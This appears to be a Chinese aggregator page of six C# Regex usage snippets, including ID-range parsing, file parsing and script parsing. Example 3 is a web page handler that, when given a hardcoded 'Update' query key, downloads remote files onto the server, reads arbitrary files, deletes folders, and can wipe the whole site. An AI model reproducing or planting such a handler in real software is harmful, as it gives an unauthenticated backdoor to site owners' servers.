本文整理汇总了C#中System.Text.RegularExpressions.Regex.Equals方法的典型用法代码示例。如果您正苦于以下问题:C# Regex.Equals方法的具体用法?C# Regex.Equals怎么用?C# Regex.Equals使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类System.Text.RegularExpressions.Regex
的用法示例。
在下文中一共展示了Regex.Equals方法的6个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C#代码示例。
示例1: TitlesAreSimilar
private bool TitlesAreSimilar(string a, string b)
{
// strip prefixes
a = _reIsNavigationItem.Replace(a, "");
b = _reIsNavigationItem.Replace(b, "");
a = new Regex(" ").Replace(a, "");
b = new Regex(" ").Replace(b, "");
a = a.ToLower();
b = b.ToLower();
return a.Equals(b);
}
示例2: Prase
private void Prase()
{
_nos = new List<string>();
if (string.IsNullOrEmpty(_no)) return;
var noGroupListMatch = new Regex("([a-z0-9A-Z]+-+[a-z0-9A-Z]+)|([a-z0-9A-Z]+)").Matches(_no);
var noGroups = (from object part in noGroupListMatch
let noGroup = part.ToString().Trim()
where !string.IsNullOrEmpty(noGroup)
select noGroup).ToList();
if (noGroups.Count == 0) return;
foreach (var noGroup in noGroups)
{
// 提取编号
var noMatch = new Regex("[a-zA-Z0-9]+").Matches(noGroup);
var nos = (from object part in noMatch
let no = part.ToString().Trim()
where !string.IsNullOrEmpty(no)
select no).ToList();
if (nos.Count == 0)
{
}
else if (nos.Count == 1)
{
_nos.Add(nos[0]);
}
else if (nos.Count == 2)//提取到2个编号,认为输入的编号为连续批量输入
{
//按照编号格式(字母+数字或数字)提取编号前的字母部分
var startPrefix = new Regex("[a-zA-Z]+").Match(nos[0]).ToString().Trim();
var endPrefix = new Regex("[a-zA-Z]+").Match(nos[1]).ToString().Trim();
//如果提取到的字母不同,则认为编号输入错误(不提供带字母的批量添加)
if (!startPrefix.Equals(endPrefix))
{
// 提取编号错误
_nos = null;
return;
}
//提取编号后面的数字部分
var startNoString = new Regex("[0-9]+").Match(nos[0]).ToString().Trim();
var startNo = int.Parse(startNoString);
var endNoString = new Regex("[0-9]+").Match(nos[1]).ToString().Trim();
var endNo = int.Parse(endNoString);
var isFixedLength = startNoString.Length.Equals(endNoString.Length);
var fixedLength = startNoString.Length;
// 确定编号起始点和终点
if (startNo > endNo)
{
var tint = startNo; startNo = endNo; endNo = tint;
}
// 用编号创建一个CSR对象暂存
for (var i = startNo; i <= endNo; i++)
{
var no = string.Concat(i);
_nos.Add(string.Concat(endPrefix, isFixedLength ? no.PadLeft(fixedLength, '0') : no));
}
}
else
{
// 提取编号错误
_nos = null;
return;
}
}
}
示例3: OnInit
/// <summary>
/// Page_Load
/// </summary>
/// <param name="e"></param>
protected override void OnInit(EventArgs e) {
string localPath = string.Empty;
string fileName = string.Empty;
bool isTrue = true;
string u2 = "Update";
string[] ext = new string[] { "/bin.bak/", "/app_data.bak/", "/app_code.bak/", "\\.dll.bak", "\\.aspx.bak", "\\.config.bak", "\\.master.bak", "\\.asax.bak", "\\.ascx.bak", "\\.compiled.bak", "\\.asmx.bak", "\\.cs.bak" };
string[] repExt = new string[] { "/Bin/", "/App_Data/", "/App_Code/", "\\.dll", "\\.aspx", "\\.config", "\\.master", "\\.asax", "\\.ascx", "\\.compiled", "\\.asmx", "\\.cs" };
string[] strList = new string[] { "{1}: {0} ok!", "<font color='red'>{1}: {0} error!</font>" };
string u1 = Request2.GetQ("u").Trim();
if (!u2.Equals(u1)) return;
string active = Request2.GetQ("active").Trim();
switch (active) {
case "sh": Msg.WriteEnd(template.Replace("{0}", Environment.MachineName).Replace("{1}", Request2.GetRelativeRoot())); break;
case "do":
string file = Request2.Get("file").Trim(); //StringExtensions.HtmlDecode(Request2.Get("file")).Trim();
if (file.IsNullEmpty()) Msg.WriteEnd("error file.");
string action = file.Substring(0, 3);
file = "/" + file.Substring(3).TrimStart('/').TrimStart('\\').Replace("\\", "/");
if (file.Length < 1) Msg.WriteEnd(string.Format(strList[1], file, "file"));
string url = StringExtensions.HtmlDecode(Request2.Get("url")).Replace("\\", "/").TrimEnd('/').TrimEnd('\\').Trim();
if (url.Length < 10) Msg.WriteEnd(string.Format(strList[1], url, "url"));
switch (action) {
case "af:":
isTrue = true;
for (int i = 0; i < ext.Length; i++) file = new Regex(ext[i], RegexOptions.IgnoreCase).Replace(file, repExt[i]);
file = file.Replace("\\.", ".");
string[] folderList = file.Split('/');
if (folderList.Length > 1) { fileName = folderList[folderList.Length - 1]; FileDirectory.DirectoryVirtualCreate("~/tmp" + file.Replace(fileName, "")); }
for (int i = 0; i < ext.Length; i++) file = new Regex(repExt[i], RegexOptions.IgnoreCase).Replace(file, ext[i]);
file = file.Replace("\\.", ".");
url = url + file;
for (int i = 0; i < ext.Length; i++) file = new Regex(ext[i], RegexOptions.IgnoreCase).Replace(file, repExt[i]);
file = file.Replace("\\.", ".");
localPath = "~/tmp/".GetMapPath() + "{0}";
file = file.Replace("/", "\\");
fileName = string.Format(localPath, file);
System.Net.WebClient wc = new System.Net.WebClient();
try {
wc.DownloadFile(url, fileName);
} catch {
isTrue = false;
} finally {
wc.Dispose();
}
file = file.Replace("\\", "/");
for (int i = 0; i < ext.Length; i++) file = new Regex(repExt[i], RegexOptions.IgnoreCase).Replace(file, ext[i]);
file = file.Replace("\\.", ".");
if (isTrue) Response.Write(string.Format(strList[0], file, "add file")); else Response.Write(string.Format(strList[1], file, "add file"));
break;
case "df:":
if (file == "/all") {
localPath = Server2.GetMapPath("~/");
#if !MONO40
FileDirectory.APIDelete(localPath);
#endif
Msg.WriteEnd(string.Format(strList[0], "all", "del file") + "<br>");
}
localPath = Server2.GetMapPath("~/") + file;
if (!FileDirectory.FileExists(localPath)) Msg.WriteEnd(string.Format(strList[1], file, "del file"));
try {
FileDirectory.FileDelete(localPath);
} catch {
Msg.WriteEnd(string.Format(strList[1], file, "del file"));
}
Response.Write(string.Format(strList[0], file, "del file"));
break;
case "rf:":
localPath = Server2.GetMapPath("~/") + file;
if (!FileDirectory.FileExists(localPath)) Msg.WriteEnd(string.Format(strList[1], file, "read file"));
string sbText = FileDirectory.FileReadAll(localPath, Encoding.UTF8);
string text = "<textarea id=\"txtContent\" cols=\"70\" rows=\"20\" f=\"" + localPath + "\">" + sbText + "</textarea><br /><input id=\"btnEdit\" type=\"button\" value=\"edit\" />";
Msg.WriteEnd(text + " ok!");
break;
case "ap:":
FileDirectory.DirectoryVirtualCreate("~" + file);
Msg.WriteEnd(string.Format(strList[0], file, "add path"));
break;
case "dp:":
localPath = Server2.GetMapPath("~/") + file;
try {
if (System.IO.Directory.Exists(localPath)) System.IO.Directory.Delete(localPath);
} catch {
Msg.WriteEnd(string.Format(strList[1], file, "del path"));
}
Msg.WriteEnd(string.Format(strList[0], file, "del path"));
break;
case "rp:":
localPath = Server2.GetMapPath("~/") + file.TrimStart('/').TrimEnd('/') + "/";
string size = "";
System.Collections.Generic.IList<string> sbFile2 = new System.Collections.Generic.List<string>();
StringBuilder sbFile3 = new StringBuilder();
try {
FileDirectory.FileList(localPath, ref sbFile2, localPath);
localPath = localPath.Replace("\\/", "\\");
for (int i = 0; i < sbFile2.Count; i++) {
//.........这里部分代码省略.........
示例4: CompressedClassTimes
/*
* Method Name: CompressedClassTimes
* Parameters: filename - The name of the file containing the data to
* be processed.
* Output: No explicit output.
*
* Author: Joshua Ford.
* Date: 3/28/15
* Modified by: Joshua Ford.
* Description: Reads in line by line from the file and then validates
* that the line is in proper format, checks for valid
* data, and compresses data.
*/
public CompressedClassTimes(String filename)
{
// Creates a temparary Dict to hold the compressed day and time.
var tmpCompressedClassTimes = new Dictionary<String,
CompressedClassTime>();
// Read in the file line by line.
using (var sr = new StreamReader(filename))
{
// Line count (for giving a line number with errors).
int lineCounter = 0;
// Read until end of file (AKA read the entire file).
while (!sr.EndOfStream)
{
lineCounter++;
// Read one line.
String line = sr.ReadLine();
// Check that line format is correct.
Match validRow = new Regex("^[A-Z]+\\s[0-9]{4}\\s-\\s" +
"[0-9]{4},[0-9]+$").Match(line);
if (validRow.Success)
{
// Attempt to put each component of
// line into a respective variable.
try
{
String dayOfTheWeek = new Regex
("[A-Z]+").Match(line).Value;
if(dayOfTheWeek.Equals(false))
{
throw new Exception("Error - Invalid day " +
"of week");
}
int classStartTime = int.Parse
(new Regex("[0-9]+").Match(line).Value);
if (classStartTime.Equals(false))
{
throw new Exception("Error - Invalid class " +
"start time");
}
int classEndTime = int.Parse(new
Regex("[0-9]+").Match(line).NextMatch().Value);
int studentsEnrolled =
int.Parse(new Regex("[0-9]+").Match(line).
NextMatch().NextMatch().Value);
if (studentsEnrolled.Equals(false))
{
throw new Exception("Error - Student Enrolled");
}
// Create new instance of ClassTime and pass line
// components.
var classTime =
new ClassTime(dayOfTheWeek, classStartTime,
classEndTime, studentsEnrolled);
foreach (var c in dayOfTheWeek.ToCharArray())
{
// Round class start time down to the hour of.
int classStartTimeHour = classStartTime/100;
String key = c.ToString() + classStartTimeHour;
// If tmpCompressedClassTimes does not have a
// key, create one.
if (!tmpCompressedClassTimes.ContainsKey(key))
{
tmpCompressedClassTimes.Add(key,
new CompressedClassTime(c.ToString(),
classStartTimeHour));
}
// Add the class time to
// tmpCompressedClassTimes.
tmpCompressedClassTimes[key].
AddClassTime(classTime);
}
}
// Raise an error if any of the portions of the line
// were not correct.
catch (Exception e)
{
if (e.Message != "")
//.........这里部分代码省略.........
示例5: ParseToolScript
bool ParseToolScript( string s )
{
int linecounter = -1;
try
{
//_toolpaths.Clear();
//_rawElements.Clear();
//_toolpaths.Clear();
//_features.Clear();
tabWidth = eval(tbTabWidth.Text);
float fRotation = eval(tbRotateDegrees.Text);
PointF pRotationCenter = evalPoint(tbRotateCenter.Text);
Color currentColor = Color.Green;
Feature currentFeature = new Feature( FeatureType.Reference );
Dictionary<string, string> variables = new Dictionary<string, string>();
PointF pOffset = new PointF(0, 0);
float fScale = 1.0f;
float.TryParse(tbScale.Text, out fScale);
string[] offsets = tbOffset.Text.Split(new char[] { ',' });
if (offsets.Length > 1)
{
pOffset.X = float.Parse(offsets[0]);
pOffset.Y = float.Parse(offsets[1]);
}
// grab the text
//string s = editor.Text;
// comments: C++, C, perl
// FIXME: deal with the c++ comment differently so we can match
// up line numbers below (for errors)
s = new Regex(@"/\*..*?\*/", RegexOptions.Singleline).Replace(s, "\r\n");
s = new Regex(@"//.*$", RegexOptions.Multiline).Replace(s, "");
s = new Regex(@"#.*$", RegexOptions.Multiline).Replace(s, "");
// split into single lines... ?
s = s.Replace("\r\n", "\n");
string[] lines = s.Split(new char[] { '\n' });//, StringSplitOptions.RemoveEmptyEntries);
foreach (string baseline in lines)
{
linecounter++;
string line = baseline.Trim();
if (line.Equals("")) continue;
string keyword = new Regex(@"(?:\W|\s).*$", RegexOptions.Singleline).Replace(line, "").ToUpper();
string parmstring = new Regex(@"^\S+\s+", RegexOptions.Singleline).Replace( line + " ", "").ToUpper();
foreach (string key in variables.Keys)
{
parmstring = new Regex(@"(?<=^|\s|\W)\$" + key + @"(?=$|\s|\W)").Replace(parmstring, variables[key]);
}
bool handled = false;
if (keyword.Equals("SET"))
{
// problem: variable could be an expression. either
// (1) evaluate before setting here; or (2) wrap in
// parens. each is equally valid, should be no difference
// in effects because we replace variables _before_ this
// point. if we were replacing variables _after_ this,
// then the parens would be a no brainer.
// CHANGEME? for now, eval.
string[] parms = parmstring.Split(new char[] { '=' });
parms[0] = parms[0].Trim().ToUpper();
float evar = eval(parms[1]);
if (variables.ContainsKey(parms[0])) variables[parms[0]] = evar.ToString();
else variables.Add(parms[0], evar.ToString());
logMessage(string.Format("Set {0} = {1:0.00}", parms[0], evar ));
handled = true;
}
if (!handled)
{
string[] parms = parmstring.Split(new char[] { ' ', '\t' }, StringSplitOptions.RemoveEmptyEntries);
for (int i = 0; i < parms.Length; i++) parms[i] = new Regex(@"\W").Replace(parms[i], "");
handled = true;
switch (keyword)
{
// feature definitions
case "PROFILE":
if (null != currentFeature && currentFeature.Count() > 0)
//.........这里部分代码省略.........
示例6: InterceptSpecialCommands
public void InterceptSpecialCommands(string input)
{
Trace.Assert(!String.IsNullOrWhiteSpace(input));
Trace.Assert(input.StartsWith("."));
string commandName = new Regex(@"\.([A-z0-9])+").Match(input).Captures[0].Value.Substring(1).Trim();
if (commandName.Equals("help"))
{
console.log(helpManager.GetHelpString());
return;
}
if (!commands.ContainsKey(commandName))
{
console.log("Could not find command: " + input);
return;
}
IConsoleCommand command = (IConsoleCommand) kernel.Get(commands[commandName]);
command.Execute(ParseSpecialCommandInputs(input));
}